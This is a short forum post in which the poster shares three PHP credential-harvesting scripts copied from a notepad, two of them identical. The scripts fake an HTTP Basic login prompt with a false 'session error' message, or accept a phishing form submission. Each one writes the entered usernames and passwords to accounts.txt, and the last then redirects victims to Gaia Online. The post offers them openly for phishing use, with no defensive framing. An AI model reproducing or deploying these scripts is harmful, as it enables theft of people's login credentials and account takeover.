I just felt like putting this here
I have these in my notepad so ill just put them here.
They are not mine! But you can rep me if you want :P
Some are flw or flps i didn't check them.
Code:
<?php
if(isset($_SERVER['PHP_AUTH_USER'])){
$Handle = @fopen('accounts.txt', 'a');
@fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");
@fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");
@fclose($Handle);
}
header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');
header('HTTP/1.0 401 Unauthorized');
exit;
?>
Code:
<?php
if(isset($_SERVER['PHP_AUTH_USER'])){
$Handle = @fopen('accounts.txt', 'a');
@fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");
@fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");
@fclose($Handle);
}
header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');
header('HTTP/1.0 401 Unauthorized');
exit;
?>
Code:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
if(get_magic_quotes_gpc()) {
$username = stripslashes($username);
$password = stripslashes($password);
}
$log = "accounts.txt";
$logfile = fopen($log, "a");
fwrite($logfile,$username." | ".$password."\r\n");
fclose($logfile);
header ("Location: http://www.gaiaonline.com/launch/towns");
?>